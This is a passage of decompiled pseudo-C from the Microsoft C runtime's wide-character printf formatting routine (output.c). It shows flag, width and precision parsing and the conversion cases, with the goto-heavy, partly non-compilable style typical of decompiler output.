					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00428370(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00428370(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00428370(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00428370(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428390(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428390(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043CB00(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043CB40( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043CB00(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043CB40( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AE60(_t674 - 0x40);
													_t539 = E0043B5A0(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043CAA0( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043CB00(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C550( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C994))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043CAA0( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43ca60; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CA24))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AE60(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0xf86dff92
																			E004246D0(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0xa86dfc78
																					E004246D0(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0x886dfc7f
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00428370(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AE60(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AE60(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E00428370(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E00428370(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E00428370(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E00428370(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428390(_t674 + 0x14);
																			_t676 = _t676 + 4;
